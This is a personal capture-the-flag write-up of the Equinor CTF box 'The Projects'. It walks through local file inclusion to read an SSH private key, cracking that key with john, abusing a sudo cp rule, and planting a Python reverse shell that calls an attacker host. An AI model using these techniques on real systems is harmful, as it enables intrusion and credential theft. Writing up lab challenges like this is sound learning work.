Equinor CTF | The Projects
This write-up is about a challenge which was presented to us as part of the Equinor CTF that I took part in with some colleagues. It's been a while since I've done any hacking of boxes so this was a nice way to get back into it again and remind myself that I can do it.
It took a bit longer than I care to admit, but the feeling of getting root access at the end was definitely worth it.
Enumeration
Ports
I started by running nmap on the box to see which ports were open. There were a lot of ports visible, but I started at the most common one, the web server on port 80.
Nmap scan report for ec2-34-245-23-112.eu-west-1.compute.amazonaws.com (54.228.46.209)
Host is up (0.040s latency).
Not shown: 92 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp filtered telnet
25/tcp open smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds

So this may not seem like a useful homepage but what it does tell us, is that there is a possibility of a user called Tom existing on the server. That may come in useful later on.
Web Directories
I decided to run gobuster against the web server to see if there were any hidden pages or directories I could access. My first attempt at this came up short, so I ran it again, this time looking for files with a .php extension.
┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ gobuster dir -u http://54.228.46.209/ -w /usr/share/wordlists/dirb/common.txt -x php -q
/.php (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/.hta.php (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htaccess.php (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/.htpasswd.php (Status: 403) [Size: 278]
/functions.php (Status: 200) [Size: 0]
/gallery.php (Status: 200) [Size: 1362]
I decided to investigate the gallery.php
file to see if there was anything interesting living there. I could tell from the URL that the images appeared to be loaded in through Local File Inclusion (LFI).
/image.php?i=phpGallery_images/cover-8-retail-marketing-strat.png

Foothold
Local File Inclusion
I was able to change the URL in the address bar to make this page open another file on the server. In this case, since I suspected there was a user called Tom on the system, I searched in the default location where a user's SSH key would live in their home directory.
/home/tom/.ssh/id_rsa
To my delight, I was able to see his private key file contents.

The next step was to crack the password protecting this key file from being imported. For that I used ssh2john.py
and then john
to brute-force the password, using the rockyou.txt
wordlist.
┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt john_id_rsa
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
inuyasha (id_rsa)
1g 0:00:00:01 DONE (2022-11-08 13:11) 0.6250g/s 160.0p/s 160.0c/s 160.0C/s carolina..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Terminal Access
Having obtained the password to the private key file, I was able to ssh onto the server as the tom user.
Capture the User Flag
There was a user.txt
file in the home directory which contained the first flag.
tom@ip-10-0-0-82:~$ cat user.txt
EPT{w3b4pp_m15c0nf1gur4t10n}
Privilege Escalation
After having SSH'd onto the server as Tom, I started to check for what permissions I had on the machine, and whether or not I could run anything using sudo.
$ bash
tom@ip-10-0-0-82:~$ id
uid=1001(tom) gid=1001(tom) groups=1001(tom)
tom@ip-10-0-0-82:~$ sudo -l
Matching Defaults entries for tom on ip-10-0-0-82:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tom may run the following commands on ip-10-0-0-82:
(lara) NOPASSWD: /bin/cp
It appears I am allowed to run the cp
(copy) binary as the lara
user without requiring a password. This is surely the next step in the kill chain. I need to be able to become the lara
user.
Horizontal Privilege Escalation
After way longer than I care to admit spent looking around GTFOBins and figuring out how best to abuse the cp
privileges, I wondered if it would be possible to copy the ~/.ssh/authorized_keys
file from tom
's home directory, into lara
's, and then use the same key to SSH into the server as lara
.
For this to work I would first have to use the cp
binary to create the .ssh
directory, and then finally copy the authorized_keys
file over.
To check that it had succeeded, I used cp
to copy the contents of the file I tried to create to stdout, so it would display in the terminal.
tom@ip-10-0-0-85:/tmp$ cat /home/tom/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCf0qpOLsNYkGBKsQK8nqnG/cR6RmViy2AameL/XNRBE7IxHNj+ViS/B6kg76q/MhpiSzhl1x0oUOaHmpbSlcBT0CBV7hQoMQcDnpBzrpezhUjZOQky52GOlpvBM+fUI9VeRYbYZTa69jKYogtc/F2+7Mev+9BdQKfABUUFBOMswQ== root@ip-10-0-0-117
tom@ip-10-0-0-85:/tmp$ touch authorized_keys
tom@ip-10-0-0-85:/tmp$ nano authorized_keys
tom@ip-10-0-0-85:/tmp$ ls -la
total 60
drwxrwxrwt 14 root root 4096 Nov 8 12:33 .
drwxr-xr-x 19 root root 4096 Nov 8 12:26 ..
-rw-rw-r-- 1 tom tom 232 Nov 8 12:33 authorized_keys
tom@ip-10-0-0-85:/tmp$ chmod 777 authorized_keys
tom@ip-10-0-0-85:/tmp$ ls -la
total 60
drwxrwxrwt 14 root root 4096 Nov 8 12:33 .
drwxr-xr-x 19 root root 4096 Nov 8 12:26 ..
-rwxrwxrwx 1 tom tom 232 Nov 8 12:33 authorized_keys
tom@ip-10-0-0-85:/tmp$ mkdir .ssh
tom@ip-10-0-0-85:/tmp$ sudo -u lara cp -R .ssh /home/lara/
tom@ip-10-0-0-85:/tmp$ sudo -u lara cp /tmp/authorized_keys /home/lara/.ssh/authorized_keys
tom@ip-10-0-0-85:/tmp$ sudo -u lara cp /home/lara/.ssh/authorized_keys /dev/stdout
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCf0qpOLsNYkGBKsQK8nqnG/cR6RmViy2AameL/XNRBE7IxHNj+ViS/B6kg76q/MhpiSzhl1x0oUOaHmpbSlcBT0CBV7hQoMQcDnpBzrpezhUjZOQky52GOlpvBM+fUI9VeRYbYZTa69jKYogtc/F2+7Mev+9BdQKfABUUFBOMswQ== root@ip-10-0-0-117
tom@ip-10-0-0-85:/tmp$
Vertical Privilege Escalation
After some manual enumeration around the file system I came across a file called nextGenMon.py
which lara
had write-access to.
┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ ssh lara@54.194.63.62
$ bash
lara@ip-10-0-0-85:~$ cd /opt
lara@ip-10-0-0-85:/opt$ ls
nextGenMon.py
lara@ip-10-0-0-85:/opt$ cat nextGenMon.py
import os
evil_IPs = ["84.17.60.99","84.17.60.90","84.17.60.69","84.17.58.6","84.17.58.16","84.17.58.10","84.17.52.25","84.17.52.24","84.17.48.74"]
logdir = "/var/log/apache2/"
files = os.listdir(logdir)
for file in files:
data = open(f"{logdir}{file}").read().splitlines()
for logline in data:
for ip in evil_IPs:
if ip in logline:
print("THREAT ACTOR DETECTED")
f = open("/home/lara/ALARM.txt", "a")
f.write(f"{ip} detected in {file}")
lara@ip-10-0-0-85:/opt$
The first thing I did was to add my IP address to the list of evil_IPs and then I created the ALARM.txt
file in the home directory, so I could monitor to see if anything was being written there. If this file was being written to, then I know that there is some cronjob or something running which is executing this python script.
Eventually, after navigating around the web server a few times, I noticed that the ALARM.txt
file started to grow in size. This was all the evidence I needed to convince me that this python script that I had write-access to was being run.
Root Access
I added a reverse-shell python script into the nextGenMon.py
file and waited for a connection.
import os,socket,pty
evil_IPs = ["<my_public_ip>", "84.17.60.99","84.17.60.90","84.17.60.69","84.17.58.6","84.17.58.16","84.17.58.10","84.17.52.25","84.17.52.24","84.17.48.74"]
logdir = "/var/log/apache2/"
files = os.listdir(logdir)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my_attack_box_ip>",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
for file in files:
data = open(f"{logdir}{file}").read().splitlines()
for logline in data:
for ip in evil_IPs:
if ip in logline:
print("THREAT ACTOR DETECTED")
f = open("/home/lara/ALARM.txt", "a")
f.write(f"{ip} detected in {file}")
root@localhost:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [<my_attack_box_ip>] from (UNKNOWN) [54.194.63.62] 58884
# whoami
whoami
root
# ls
ls
root.txt snap
# cat root.txt
cat root.txt
EPT{b4d_p3rm15510n5}
Summary
This was a really fun box to root and I'm glad I was able to manage it after having been "out of the game" for a while. It took me longer than it should have, but I put that down to being tired, having solved it at around 4am after trying other challenges for the past 10 hours.
The Equinor CTF was great fun and I look forward to competing again next year with my Ensō colleagues.